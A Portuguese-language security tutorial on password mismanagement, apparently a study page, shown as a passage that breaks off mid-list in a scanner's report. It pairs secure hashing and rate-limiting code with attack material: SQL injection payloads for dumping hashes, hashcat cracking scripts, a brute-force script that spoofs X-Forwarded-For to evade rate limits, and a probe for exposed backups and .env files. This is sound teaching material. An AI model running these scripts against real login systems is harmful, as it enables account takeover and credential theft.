# Password Mismanagement

## 🔍 Conceitos Fundamentais

### O que é Password Mismanagement

Password Mismanagement refere-se a práticas inadequadas no armazenamento, processamento e gerenciamento de senhas que comprometem a segurança das credenciais dos usuários, permitindo que atacantes obtenham acesso não autorizado.

### Princípio de Funcionamento

```
Senha do Usuário → Processamento Inseguro → Armazenamento Vulnerável → Exposição
       ↓                   ↓                       ↓                 ↓
Credencial original  Falhas em hashing,   Banco vulnerável a   Ataque bem-sucedido
                     encryption ou trans-  dumping ou injection
                     missão
```

### Características do Problema

* **Falhas em múltiplas camadas** (armazenamento, transmissão, processamento)
* **Frequentemente resultado de más práticas de desenvolvimento**
* **Pode levar a comprometimento em massa** de contas
* **Difícil de detectar** sem auditoria proativa
* **Impacto crítico** na segurança geral do sistema

### Tipos de Password Mismanagement

#### 1. Armazenamento Inseguro

```json
{
  "armazenamento_inseguro": [
    "Senhas em texto puro",
    "Hashing fraco (MD5, SHA1)",
    "Falta de salt",
    "Salt reutilizado ou curto",
    "Encryption reversível sem necessidade"
  ]
}
```

#### 2. Transmissão Insegura

```json
{
  "transmissao_insegura": [
    "Senhas transmitidas via HTTP",
    "Falta de HTTPS",
    "Credenciais em URLs (GET parameters)",
    "Senhas em logs",
    "Exposição em headers"
  ]
}
```

#### 3. Processamento Inadequado

```json
{
  "processamento_inadequado": [
    "Validação no client-side apenas",
    "Falta de rate limiting",
    "Senhas com limites de tamanho muito curtos",
    "Falta de políticas de complexidade",
    "Mensagens de erro informativas"
  ]
}
```

## ⚔️ Mecanismos de Ataque

### Fluxo de Ataque Completo

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as Aplicação Vulnerável
    participant DB as Banco de Dados
    participant N as Rede

    Note over A,V: FASE 1: Reconhecimento
    A->>V: Identifica mecanismos de autenticação
    A->>V: Analisa mensagens de erro e comportamento
    V->>A: Retorna informações sobre validações

    Note over A,N: FASE 2: Captura de Credenciais
    A->>N: Sniffing de rede (HTTP, Wi-Fi não criptografado)
    A->>V: SQL Injection para extrair hashes
    A->>V: Ataques a logs ou backups

    Note over A,A: FASE 3: Quebra de Hashes
    A->>A: Pre-computa rainbow tables
    A->>A: Aplica GPU cracking
    A->>A: Usa wordlists personalizadas

    Note over A,V: FASE 4: Exploração
    A->>V: Usa credenciais comprometidas
    V->>V: Autentica atacante como usuário legítimo
    V->>A: Concede acesso aos recursos

    Note over A,DB: FASE 5: Escalação
    A->>DB: Acessa dados sensíveis
    A->>V: Realiza ações privilegiadas
```

### Cenário 1: Senhas em Texto Puro no Banco

```sql
-- Exemplo de banco vulnerável
CREATE TABLE users (
    id INT PRIMARY KEY,
    username VARCHAR(50),
    password VARCHAR(50)  -- Senha em texto puro!
);

-- Dados expostos via SQL Injection
SELECT username, password FROM users;
-- Resultado:
-- | username | password      |
-- |----------|---------------|
-- | admin    | Senha123!     |
-- | john     | john2024      |
-- | sarah    | 123456        |
```

### Cenário 2: Hashing Fraco sem Salt

```python
# Exemplo de código vulnerável
import hashlib

def create_user(username, password):
    # Hashing fraco - MD5 sem salt
    password_hash = hashlib.md5(password.encode()).hexdigest()
    
    cursor.execute(
        "INSERT INTO users (username, password) VALUES (?, ?)",
        (username, password_hash)
    )

# Hashes podem ser quebrados com rainbow tables
# Hash de "password123" = "482c811da5d5b4bc6d497ffa98491e38"
```

### Cenário 3: Transmissão via HTTP

```http
# Login via HTTP - credenciais expostas
POST /login HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=SuperSecret123!

# Resposta também via HTTP
HTTP/1.1 200 OK
Set-Cookie: session=abc123; HttpOnly

# Atacante pode sniffar a rede e capturar credenciais
```

### Cenário 4: SQL Injection para Extrair Hashes

```sql
-- Exploração de SQL Injection para dump de senhas
' UNION SELECT username, password FROM users--

-- Ou através de blind SQL injection
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
```

### Cenário 5: Ataque a Logs e Backups

```python
# Aplicação que loga credenciais por engano
import logging

def login_user(username, password):
    # VULNERÁVEL: Logando senha em texto puro
    logging.info(f"Login attempt for {username} with password {password}")
    
    if authenticate(username, password):
        create_session(username)
        return True
    return False

# Logs podem ser acessados via:
# - Directory traversal
# - Backup files
# - Server misconfiguration
```

### Cenário 6: Quebra de Hashes com Rainbow Tables

```bash
# Usando ferramentas para quebrar hashes fracos
# Para MD5 sem salt
hashcat -m 0 -a 0 hash.txt rockyou.txt

# Para SHA1
hashcat -m 100 -a 0 hash.txt wordlist.txt

# Com regras para variações
hashcat -m 0 -a 0 hash.txt -r rules/best64.rule
```

## 🔎 Identificação e Detecção

### Indicadores de Vulnerabilidade

```bash
# Pontos críticos para teste
- Senhas transmitidas via HTTP
- Mensagens de erro que revelam informações
- Falta de rate limiting no login
- Hashes curtos no banco (32 chars = MD5)
- Ausência de salt nos hashes
- Senhas em URLs (parâmetros GET)
- Logs contendo credenciais
```

### Metodologia de Teste Manual

#### 1. Análise de Tráfego de Rede

```python
# Script para verificar se senhas são transmitidas com segurança
import requests
from urllib.parse import urljoin

class PasswordTransmissionTester:
    def __init__(self, target_url):
        self.target = target_url
        self.vulnerabilities = []
    
    def test_login_endpoints(self):
        """Testar endpoints de login por transmissão insegura"""
        
        login_endpoints = [
            '/login',
            '/auth',
            '/signin',
            '/api/login',
            '/oauth/token'
        ]
        
        for endpoint in login_endpoints:
            # Testar via HTTP se aplicável
            if self.target.startswith('https'):
                http_url = self.target.replace('https://', 'http://')
                response = requests.post(
                    urljoin(http_url, endpoint),
                    data={'username': 'test', 'password': 'test123'},
                    allow_redirects=False
                )
                
                if response.status_code != 400:  # Se não houver redirect para HTTPS
                    self.vulnerabilities.append({
                        'type': 'HTTP_Transmission',
                        'endpoint': endpoint,
                        'risk': 'HIGH'
                    })
    
    def check_password_in_url(self):
        """Verificar se senhas aparecem em URLs"""
        
        # Monitorar redirects após login
        login_data = {'username': 'test', 'password': 'test123'}
        response = requests.post(
            urljoin(self.target, '/login'),
            data=login_data,
            allow_redirects=True
        )
        
        # Verificar se senha aparece na URL final
        if 'password' in response.url.lower() or 'test123' in response.url:
            self.vulnerabilities.append({
                'type': 'Password_in_URL',
                'location': response.url,
                'risk': 'HIGH'
            })
```

#### 2. Teste de Mensagens de Erro

```python
class ErrorMessageTester:
    def __init__(self, target_url):
        self.target = target_url
    
    def test_login_error_messages(self):
        """Testar se mensagens de erro revelam informações"""
        
        test_cases = [
            # Usuário existente, senha errada
            {'username': 'admin', 'password': 'wrongpass'},
            # Usuário não existente
            {'username': 'nonexistentuser', 'password': 'anypass'},
            # Campo vazio
            {'username': '', 'password': 'anypass'},
            # SQL injection
            {'username': "' OR '1'='1", 'password': 'anypass'}
        ]
        
        for test_case in test_cases:
            response = requests.post(
                urljoin(self.target, '/login'),
                data=test_case
            )
            
            error_messages = self.analyze_error_response(response)
            
            if self.is_informative_error(error_messages):
                print(f"⚠️  Mensagem informativa detectada: {error_messages}")

    def analyze_error_response(self, response):
        """Analisar resposta por mensagens de erro"""
        indicators = []
        
        # Verificar texto comum em mensagens informativas
        informative_phrases = [
            'usuário não existe',
            'senha incorreta',
            'invalid username',
            'invalid password',
            'usuário inválido',
            'senha inválida'
        ]
        
        response_text = response.text.lower()
        
        for phrase in informative_phrases:
            if phrase in response_text:
                indicators.append(phrase)
        
        return indicators
```

#### 3. Análise de Políticas de Senha

```python
class PasswordPolicyTester:
    def __init__(self, target_url):
        self.target = target_url
    
    def test_password_policies(self):
        """Testar políticas fracas de senha"""
        
        weak_passwords = [
            '123456',
            'password',
            '12345678',
            'qwerty',
            '123456789',
            '12345',
            '1234',
            '111111',
            '1234567',
            'dragon'
        ]
        
        for weak_pwd in weak_passwords:
            response = requests.post(
                urljoin(self.target, '/register'),
                data={
                    'username': f'testuser_{weak_pwd}',
                    'password': weak_pwd,
                    'email': f'test_{weak_pwd}@test.com'
                }
            )
            
            if response.status_code == 200:
                print(f"⚠️  Senha fraca aceita: {weak_pwd}")
```

### Técnicas de Fingerprinting

#### 1. Identificação de Algoritmos de Hash

```python
import hashlib
import binascii

def identify_hash(hash_string):
    """Identificar tipo de hash baseado no comprimento e padrão"""
    
    hash_length = len(hash_string)
    
    hash_types = {
        32: 'MD5',
        40: 'SHA1',
        56: 'SHA224',
        64: 'SHA256',
        96: 'SHA384',
        128: 'SHA512',
        60: 'Bcrypt',
        97: 'Bcrypt (com $2y$)',
        34: 'DES',
        16: 'MySQL323',
        8: 'CRC32'
    }
    
    hash_type = hash_types.get(hash_length, 'Unknown')
    
    # Verificar padrões específicos
    if hash_string.startswith('$2a$') or hash_string.startswith('$2b$'):
        return 'Bcrypt'
    elif hash_string.startswith('$1$'):
        return 'MD5 Crypt'
    elif hash_string.startswith('$5$'):
        return 'SHA256 Crypt'
    elif hash_string.startswith('$6$'):
        return 'SHA512 Crypt'
    
    return hash_type

# Exemplo de uso
hash_examples = [
    '5f4dcc3b5aa765d61d8327deb882cf99',  # MD5
    '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8',  # SHA1
    '$2a$12$R9h/cIPz0gi.URNNX3kh2OPST9/PgBkqquzi.Ss7KIUgO2t0jWMUW'  # Bcrypt
]

for hash_example in hash_examples:
    print(f"{hash_example} → {identify_hash(hash_example)}")
```

#### 2. Detecção de Salt Reutilizado

```python
def detect_salt_reuse(hashes):
    """Detectar se salts estão sendo reutilizados"""
    
    # Para hashes como bcrypt, cada hash deve ser único mesmo para mesma senha
    same_password_hashes = []
    
    # Testar com senhas conhecidas
    test_password = "password123"
    
    # Se múltiplos usuários têm o mesmo hash para mesma senha, salt está sendo reutilizado
    hash_count = {}
    for user_hash in hashes:
        if user_hash in hash_count:
            hash_count[user_hash] += 1
        else:
            hash_count[user_hash] = 1
    
    reused_hashes = {hash_val: count for hash_val, count in hash_count.items() if count > 1}
    
    return reused_hashes
```

## 💥 Exploração e Impacto

### Técnicas de Exploração Avançadas

#### 1. Ataque a Hashes com GPU Cracking

```python
# Script para automatizar quebra de hashes
import subprocess
import os

class HashCracker:
    def __init__(self):
        self.wordlists = {
            'rockyou': '/usr/share/wordlists/rockyou.txt',
            'seclists': '/usr/share/wordlists/seclists/Passwords/',
            'custom': './wordlists/custom.txt'
        }
    
    def crack_hash(self, hash_value, hash_type='md5'):
        """Quebrar hash usando hashcat"""
        
        hashcat_modes = {
            'md5': 0,
            'sha1': 100,
            'sha256': 1400,
            'sha512': 1700,
            'bcrypt': 3200
        }
        
        mode = hashcat_modes.get(hash_type, 0)
        
        # Comando hashcat
        cmd = [
            'hashcat',
            '-m', str(mode),
            '-a', '0',  # Attack mode: straight
            '-O',       # Optimized kernel
            '--force',  # Force execution
            hash_value,
            self.wordlists['rockyou']
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            
            if 'Cracked' in result.stdout:
                # Extrair senha crackada
                lines = result.stdout.split('\n')
                for line in lines:
                    if hash_value in line:
                        return line.split(':')[-1]
            
        except Exception as e:
            print(f"Erro no hashcat: {e}")
        
        return None
    
    def bulk_crack(self, hashes_file, hash_type='md5'):
        """Quebrar múltiplos hashes em lote"""
        
        results = {}
        
        with open(hashes_file, 'r') as f:
            hashes = [line.strip() for line in f if line.strip()]
        
        for hash_val in hashes:
            print(f"Tentando quebrar: {hash_val}")
            password = self.crack_hash(hash_val, hash_type)
            
            if password:
                results[hash_val] = password
                print(f"✅ Quebrado: {hash_val} → {password}")
            else:
                print(f"❌ Não quebrado: {hash_val}")
        
        return results

# Uso
cracker = HashCracker()
results = cracker.bulk_crack('hashes.txt', 'md5')
```

#### 2. Ataque de Força Bruta com Rate Limit Bypass

```python
import requests
import time
import random

class SmartBruteForcer:
    def __init__(self, target_url, username):
        self.target = target_url
        self.username = username
        self.found_password = None
        
    def bypass_rate_limit(self, passwords_list):
        """Técnicas para bypass de rate limiting"""
        
        for password in passwords_list:
            # Técnica 1: Variação de User-Agent
            user_agents = [
                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
                'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
            ]
            
            headers = {
                'User-Agent': random.choice(user_agents),
                'X-Forwarded-For': f'192.168.{random.randint(1,255)}.{random.randint(1,255)}'
            }
            
            # Técnica 2: Delay aleatório entre tentativas
            delay = random.uniform(2, 10)
            time.sleep(delay)
            
            # Técnica 3: Parâmetros extras para confundir WAF
            data = {
                'username': self.username,
                'password': password,
                'csrf_token': 'dummy',  # Se aplicável
                'remember_me': '1'
            }
            
            try:
                response = requests.post(
                    f"{self.target}/login",
                    data=data,
                    headers=headers,
                    allow_redirects=False
                )
                
                if response.status_code == 302:  # Redirect on success
                    self.found_password = password
                    print(f"✅ Senha encontrada: {password}")
                    break
                    
            except requests.RequestException as e:
                print(f"Erro: {e}")
                # Aumentar delay em caso de erro
                time.sleep(30)
```

#### 3. Ataque a Backups e Logs

```python
import requests
import re

class BackupHunter:
    def __init__(self, target_url):
        self.target = target_url
        self.common_backups = [
            '/backup.zip',
            '/database.sql',
            '/backup/database.sql',
            '/wp-content/backup.sql',
            '/admin/backup.sql',
            '/.git/config',
            '/.env',
            '/backup.tar.gz',
            '/dump.sql',
            '/www.zip'
        ]
    
    def hunt_backups(self):
        """Procurar por arquivos de backup expostos"""
        
        found_files = []
        
        for backup_path in self.common_backups:
            url = f"{self.target}{backup_path}"
            
            try:
                response = requests.get(url, timeout=5)
                
                if response.status_code == 200:
                    # Verificar se contém credenciais
                    credentials_found = self.scan_for_credentials(response.text)
                    
                    found_files.append({
                        'url': url,
                        'size': len(response.content),
                        'credentials_found': credentials_found
                    })
                    print(f"⚠️  Backup encontrado: {url}")
                    
            except requests.RequestException:
                continue
        
        return found_files
    
    def scan_for_credentials(self, content):
        """Procurar por credenciais no conteúdo"""
        
        patterns = {
            'passwords': r'(?i)(password|pass|pwd|senha)[=:\s]+[\'"]?([^\s\'"\n]+)[\'"]?',
            'database_urls': r'(?i)(mysql|postgresql)://([^:]+):([^@]+)@',
            'api_keys': r'(?i)(api[_-]?key|secret)[=:\s]+[\'"]?([a-zA-Z0-9]{20,})[\'"]?'
        }
        
        credentials = {}
        
        for cred_type, pattern in patterns.items():
            matches = re.findall(pattern, content)
            if matches:
                credentials[cred_type] = matches
        
        return credentials
```

### Impacto das Vulnerabilidades

#### Classificação de Impacto

```json
{
  "impacto_critico": {
    "comprometimento_total": [
      "Acesso a todas as contas de usuário",
      "Exposição completa do banco de dados",
      "Escalação para administrador",
      "Roubo de dados sensíveis em massa"
    ],
    "business_impact": [
      "Violação de compliance (LGPD, GDPR)",
      "Danos à reputação da marca",
      "Perdas financeiras diretas",
      "Ações judiciais e multas"
    ]
  },
  "impacto_alto": {
    "access_control_bypass": [
      "Acesso não autorizado a funcionalidades",
      "Bypass de autenticação multi-fator",
      "Acesso a dados confidenciais",
      "Manipulação de dados críticos"
    ],
    "lateral_movement": [
      "Movimento lateral entre contas",
      "Acesso a sistemas conectados",
      "Comprometimento em cadeia",
      "Persistência no ambiente"
    ]
  },
  "impacto_medio": {
    "information_disclosure": [
      "Vazamento de informações pessoais",
      "Exposição de estrutura do sistema",
      "Vazamento de políticas de segurança",
      "Exposição de dados internos"
    ],
    "service_abuse": [
      "Abuso de recursos do sistema",
      "Spam a partir de contas comprometidas",
      "Ataques a outros sistemas",
      "Uso não autorizado de serviços"
    ]
  }
}
```

#### Cadeias de Ataque Completas

```
Cenário Credential Stuffing:
Vazamento de Senhas → Ataque de Força Bruta → Acesso a Múltiplas Contas → Roubo de Dados

Cenário Hash Cracking:
SQL Injection → Extração de Hashes → Quebra Offline → Acesso como Usuário → Escalação

Cenário Log Exposure:
Acesso a Logs → Extração de Credenciais → Acesso Imediato → Persistência
```

## 🛡️ Mitigação e Correção

### Estratégias de Defesa em Camadas

#### 1. Hashing Seguro com Bcrypt/Argon2

```python
import bcrypt
import secrets

class SecurePasswordManager:
    def __init__(self, rounds=12):
        self.rounds = rounds
    
    def hash_password(self, password):
        """Criar hash seguro com bcrypt"""
        
        # Gerar salt aleatório
        salt = bcrypt.gensalt(rounds=self.rounds)
        
        # Criar hash
        password_hash = bcrypt.hashpw(password.encode('utf-8'), salt)
        
        return password_hash.decode('utf-8')
    
    def verify_password(self, password, password_hash):
        """Verificar senha contra hash"""
        
        try:
            return bcrypt.checkpw(
                password.encode('utf-8'),
                password_hash.encode('utf-8')
            )
        except Exception:
            return False
    
    def is_hash_secure(self, password_hash):
        """Verificar se hash foi gerado com algoritmo seguro"""
        
        # Bcrypt hashes começam com $2a$, $2b$, ou $2y$
        if password_hash.startswith(('$2a$', '$2b$', '$2y$')):
            # Verificar custo (rounds)
            parts = password_hash.split('$')
            if len(parts) >= 4:
                try:
                    cost = int(parts[2])
                    return cost >= 12  # Custo mínimo recomendado
                except ValueError:
                    return False
        return False

# Uso
password_manager = SecurePasswordManager()

# Ao criar usuário
password_hash = password_manager.hash_password('SenhaSegura123!')

# Ao verificar login
is_valid = password_manager.verify_password('SenhaSegura123!', password_hash)
```

#### 2. Implementação de Argon2 (Mais Moderno)

```python
import argon2
from argon2 import PasswordHasher

class Argon2PasswordManager:
    def __init__(self):
        self.ph = PasswordHasher(
            time_cost=3,      # Número de iterações
            memory_cost=65536, # Memória em KiB
            parallelism=1,    # Grau de paralelismo
            hash_len=32,      # Tamanho do hash
            salt_len=16       # Tamanho do salt
        )
    
    def hash_password(self, password):
        """Criar hash com Argon2"""
        return self.ph.hash(password)
    
    def verify_password(self, password, password_hash):
        """Verificar senha com Argon2"""
        try:
            return self.ph.verify(password_hash, password)
        except (argon2.exceptions.VerifyMismatchError, 
                argon2.exceptions.VerificationError,
                argon2.exceptions.InvalidHashError):
            return False
    
    def needs_rehash(self, password_hash):
        """Verificar se hash precisa ser atualizado"""
        return self.ph.check_needs_rehash(password_hash)
```

#### 3. Políticas de Senha Robustas

```python
import re
import zxcvbn

class PasswordPolicyValidator:
    def __init__(self):
        self.min_length = 12
        self.min_strength = 3  # zxcvbn score (0-4)
    
    def validate_password(self, password):
        """Validar senha contra políticas robustas"""
        
        errors = []
        
        # Comprimento mínimo
        if len(password) < self.min_length:
            errors.append(f"Senha deve ter pelo menos {self.min_length} caracteres")
        
        # Verificar força com zxcvbn
        strength_result = zxcvbn.zxcvbn(password)
        if strength_result['score'] < self.min_strength:
            errors.append("Senha muito fraca. Use uma combinação de letras, números e símbolos")
        
        # Verificar senhas comuns
        if self.is_common_password(password):
            errors.append("Esta senha é muito comum. Escolha uma senha mais única")
        
        # Verificar padrões simples
        if self.has_simple_patterns(password):
            errors.append("Padrão muito simples detectado")
        
        return {
            'is_valid': len(errors) == 0,
            'errors': errors,
            'strength_score': strength_result['score'],
            'feedback': strength_result['feedback']
        }
    
    def is_common_password(self, password):
        """Verificar se senha está em listas comuns"""
        common_passwords = {
            '123456', 'password', '12345678', 'qwerty', '123456789',
            '12345', '1234', '111111', '1234567', 'dragon',
            '123123', 'baseball', 'abc123', 'football', 'monkey'
        }
        return password.lower() in common_passwords
    
    def has_simple_patterns(self, password):
        """Detectar padrões simples"""
        patterns = [
            r'^[0-9]+$',  # Apenas números
            r'^[a-zA-Z]+$',  # Apenas letras
            r'(.)\1{3,}',  # Caracteres repetidos
            r'12345|abcde|qwerty'  # Sequências comuns
        ]
        
        for pattern in patterns:
            if re.search(pattern, password.lower()):
                return True
        return False

# Uso
validator = PasswordPolicyValidator()
result = validator.validate_password('MinhaSenhaSuperSegura2024!')

if not result['is_valid']:
    print("Erros:", result['errors'])
```

### Padrões de Codificação Seguros

#### 1. Autenticação Segura com Rate Limiting

```python
from flask import request, jsonify
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import time

class SecureAuthentication:
    def __init__(self, app):
        self.app = app
        self.limiter = Limiter(
            app,
            key_func=get_remote_address,
            default_limits=["200 per day", "50 per hour"]
        )
        
        # Storage para tentativas falhas (em produção, usar Redis)
        self.failed_attempts = {}
    
    def login_rate_limit(self):
        """Rate limiting inteligente para login"""
        
        client_ip = get_remote_address()
        username = request.json.get('username')
        
        # Verificar tentativas por IP
        ip_key = f"ip_{client_ip}"
        ip_attempts = self.failed_attempts.get(ip_key, 0)
        
        if ip_attempts >= 10:  # Bloqueio por IP
            return jsonify({
                'error': 'Muitas tentativas. Tente novamente em 1 hora.'
            }), 429
        
        # Verificar tentativas por usuário
        user_key = f"user_{username}"
        user_attempts = self.failed_attempts.get(user_key, 0)
        
        if user_attempts >= 5:  # Bloqueio por usuário
            return jsonify({
                'error': 'Conta temporariamente bloqueada. Tente novamente em 30 minutos.'
            }), 429
        
        return None  # Permitir tentativa
    
    def record_failed_attempt(self, username):
        """Registrar tentativa falha"""
        
        client_ip = get_remote_address()
        current_time = time.time()
        
        # Limpar tentativas antigas (24 horas)
        self.clean_old_attempts()
        
        # Registrar por IP
        ip_key = f"ip_{client_ip}"
        self.failed_attempts[ip_key] = self.failed_attempts.get(ip_key, 0) + 1
        
        # Registrar por usuário
        user_key = f"user_{username}"
        self.failed_attempts[user_key] = self.failed_attempts.get(user_key, 0) + 1
        
        # Adicionar timestamp para expiração
        self.failed_attempts[f"{ip_key}_time"] = current_time
        self.failed_attempts[f"{user_key}_time"] = current_time
    
    def clean_old_attempts(self):
        """Limpar tentativas antigas"""
        current_time = time.time()
        keys_to_remove = []
        
        for key, value in self.failed_attempts.items():
            if key.endswith('_time') and current_time - value > 86400:  # 24 horas
                base_key = key.replace('_time', '')
                keys_to_remove.extend([key, base_key])
        
        for key in set(keys_to_remove):
            self.failed_attempts.pop(key, None)
```

#### 2. Proteção Contra Credential Stuffing

```python
class CredentialStuffingProtection:
    def __init__(self):
        self.breached_passwords = self.load_breached_passwords()
    
    def load_breached_passwords(self):
        """Carregar senhas de breaches conhecidas"""
        # Em produção, carregar de fonte confiável
        breached_hashes = set()
        
        try:
            with open('breached_hashes.txt', 'r') as f:
                for line in f:
                    breached_hashes.add(line.strip())
        except FileNotFoundError:
            # Fallback para lista básica
            common_hashes = [
                '5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8',  # password
                '5989aab1940e721a6bffba2bf0d679c7c4c4568b3d3012eddb8af294eb17c60c',  # senha123
            ]
            breached_hashes.update(common_hashes)
        
        return breached_hashes
    
    def is_breached_password(self, password):
        """Verificar se senha está em breaches conhecidas"""
        import hashlib
        
        # Hash da senha para comparação
        password_hash = hashlib.sha256(password.encode()).hexdigest()
        
        return password_hash in self.breached_passwords
    
    def check_credential_stuffing(self, username, password, user_agent):
        """Detectar possíveis credential stuffing"""
        
        indicators = []
        
        # Senha de breach conhecida
        if self.is_breached_password(password):
            indicators.append('breached_password')
        
        # User-Agent suspeito (bots, tools)
        suspicious_agents = ['python-requests', 'curl', 'wget', 'go-http-client']
        if any(agent in user_agent.lower() for agent in suspicious_agents):
            indicators.append('suspicious_user_agent')
        
        # Padrão de username (email de breach)
        if self.is_breached_email_pattern(username):
            indicators.append('breached_email_pattern')
        
        return indicators
    
    def is_breached_email_pattern(self, username):
        """Detectar padrões de emails de breaches"""
        # Verificar se username segue padrões comuns de breaches
        patterns = [
            r'[a-z]+\d+@[a-z]+\.com',  # john123@gmail.com
            r'[a-z]+\.[a-z]+@[a-z]+\.com',  # john.doe@gmail.com
        ]
        
        import re
        for pattern in patterns:
            if re.match(pattern, username.lower()):
                return True
        return False
```

#### 3. Transmissão Segura e Armazenamento

```python
import ssl
import hashlib
import hmac

class SecureTransmission:
    def __init__(self, secret_key):
        self.secret_key = secret_key
    
    def ensure_https(self, request):
        """Forçar uso de HTTPS"""
        if not request.is_secure:
            # Redirect para HTTPS
            https_url = request.url.replace('http://', 'https://')
            return https_url
        return None
    
    def secure_password_transmission(self, password):
        """Proteger senha durante transmissão"""
        
        # Em produção, isso seria feito no client-side antes do envio
        # Simulação de proteção adicional
        
        # Hash com nonce para prevenir replay attacks
        nonce = secrets.token_urlsafe(16)
        protected_password = hmac.new(
            self.secret_key.encode(),
            f"{password}:{nonce}".encode(),
            hashlib.sha256
        ).hexdigest()
        
        return {
            'protected_password': protected_password,
            'nonce': nonce
        }
    
    def sanitize_logs(self, log_data):
        """Sanitizar dados sensíveis em logs"""
        
        sensitive_patterns = [
            (r'("password":\s*")([^"]+)', r'\1[REDACTED]'),
            (r'(password=)([^&\s]+)', r'\1[REDACTED]'),
            (r'("pwd":\s*")([^"]+)', r'\1[REDACTED]'),
            (r'(Authorization:\s*Bearer\s*)([^\s]+)', r'\1[REDACTED]')
        ]
        
        sanitized_data = log_data
        for pattern, replacement in sensitive_patterns:
            sanitized_data = re.sub(pattern, replacement, sanitized_data)
        
        return sanitized_data
```

### Configurações de Segurança

#### 1. Configuração de Banco de Dados Segura

```sql
-- Estrutura segura para tabela de usuários
CREATE TABLE users (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    username VARCHAR(255) UNIQUE NOT NULL,
    email VARCHAR(255) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    salt VARCHAR(255) NOT NULL, -- Para algoritmos que precisam de salt separado
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    failed_login_attempts INTEGER DEFAULT 0,
    last_login TIMESTAMP,
    account_locked_until TIMESTAMP
);

-- Índices para performance
CREATE INDEX idx_users_username ON users(username);
CREATE INDEX idx_users_email ON users(email);

-- Tabela para auditoria de login
CREATE TABLE login_attempts (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    user_id UUID REFERENCES users(id),
    ip_address INET NOT NULL,
    user_agent TEXT,
    success BOOLEAN NOT NULL,
    attempted_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

CREATE INDEX idx_login_attempts_ip ON login_attempts(ip_address);
CREATE INDEX idx_login_attempts_user ON login_attempts(user_id);
```

#### 2. Headers de Segurança HTTP

```python
@app.after_request
def set_security_headers(response):
    """Configurar headers de segurança para proteção de credenciais"""
    
    # Forçar HTTPS
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
    
    # Prevenir sniffing de MIME type
    response.headers['X-Content-Type-Options'] = 'nosniff'
    
    # Proteção XSS
    response.headers['X-XSS-Protection'] = '1; mode=block'
    
    # Prevenir clickjacking
    response.headers['X-Frame-Options'] = 'DENY'
    
    # Content Security Policy
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self' 'unsafe-inline'; "
        "style-src 'self' 'unsafe-inline'; "
        "img-src 'self' data:; "
        "connect-src 'self'; "
        "form-action 'self';"
    )
    
    # Referrer policy para prevenir vazamento de URLs com credenciais
    response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
    
    return response
```

## 🔧 Ferramentas e Testes

### Ferramentas de Análise Automatizada

#### 1. Scanner de Password Security

```python
#!/usr/bin/env python3
# password_security_scanner.py

import requests
import hashlib
import re
from urllib.parse import urljoin

class PasswordSecurityScanner:
    def __init__(self, target_url):
        self.target = target_url
        self.vulnerabilities = []
    
    def test_password_transmission(self):
        """Testar se senhas são transmitidas com segurança"""
        
        # Testar HTTPS
        if not self.target.startswith('https://'):
            self.vulnerabilities.append({
                'type': 'No_HTTPS',
                'risk': 'HIGH',
                'description': 'Senhas transmitidas via HTTP'
            })
        
        # Testar se senhas aparecem em URLs
        test_data = {'username': 'test', 'password': 'TEST_PASSWORD_123'}
        response = requests.post(
            urljoin(self.target, '/login'),
            data=test_data,
            allow_redirects=True
        )
        
        if 'TEST_PASSWORD_123' in response.url:
            self.vulnerabilities.append({
                'type': 'Password_in_URL',
                'risk': 'HIGH',
                'description': 'Senha aparece na URL após login'
            })
    
    def test_password_policies(self):
        """Testar políticas fracas de senha"""
        
        weak_passwords = [
            '123456',
            'password',
            '123456789',
            'senha123',
            'admin'
        ]
        
        for weak_pwd in weak_passwords:
            # Testar registro
            register_data = {
                'username': f'test_{weak_pwd}',
                'password': weak_pwd,
                'email': f'test_{weak_pwd}@test.com'
            }
            
            response = requests.post(
                urljoin(self.target, '/register'),
                data=register_data
            )
            
            if response.status_code == 200:
                self.vulnerabilities.append({
                    'type': 'Weak_Password_Allowed',
                    'risk': 'MEDIUM',
                    'description': f'Senha fraca aceita: {weak_pwd}'
                })
    
    def test_error_messages(self):
        """Testar mensagens de erro informativas"""
        
        test_cases = [
            {'username': 'nonexistent', 'password': 'anypassword'},
            {'username': 'admin', 'password': 'wrongpassword'}
        ]
        
        for test_case in test_cases:
            response = requests.post(
                urljoin(self.target, '/login'),
                data=test_case
            )
            
            error_indicators = [
                'usuário não existe',
                'senha incorreta',
                'invalid username',
                'invalid password',
                'usuário inválido'
            ]
            
            response_text = response.text.lower()
            for indicator in error_indicators:
                if indicator in response_text:
                    self.vulnerabilities.append({
                        'type': 'Informative_Error_Message',
                        'risk': 'LOW',
                        'description': f'Mensagem informativa: {indicator}'
                    })
                    break
    
    def test_rate_limiting(self):
        """Testar falta de rate limiting"""
        
        rapid_attempts = []
        for i in range(20):  # 20 tentativas rápidas
            response = requests.post(
                urljoin(self.target, '/login'),
                data={'username': 'test', 'password': f'wrong{i}'}
            )
            rapid_attempts.append(response.status_code)
        
        # Se todas as tentativas retornaram mesmo status, possível falta de rate limiting
        if len(set(rapid_attempts)) == 1:
            self.vulnerabilities.append({
                'type': 'No_Rate_Limiting',
                'risk': 'MEDIUM',
                'description': 'Possível falta de rate limiting no login'
            })
    
    def generate_report(self):
        """Gerar relatório completo"""
        
        return {
            'target': self.target,
            'vulnerabilities_found': len(self.vulnerabilities),
            'details': self.vulnerabilities,
            'recommendations': [
                "Implementar HTTPS obrigatório",
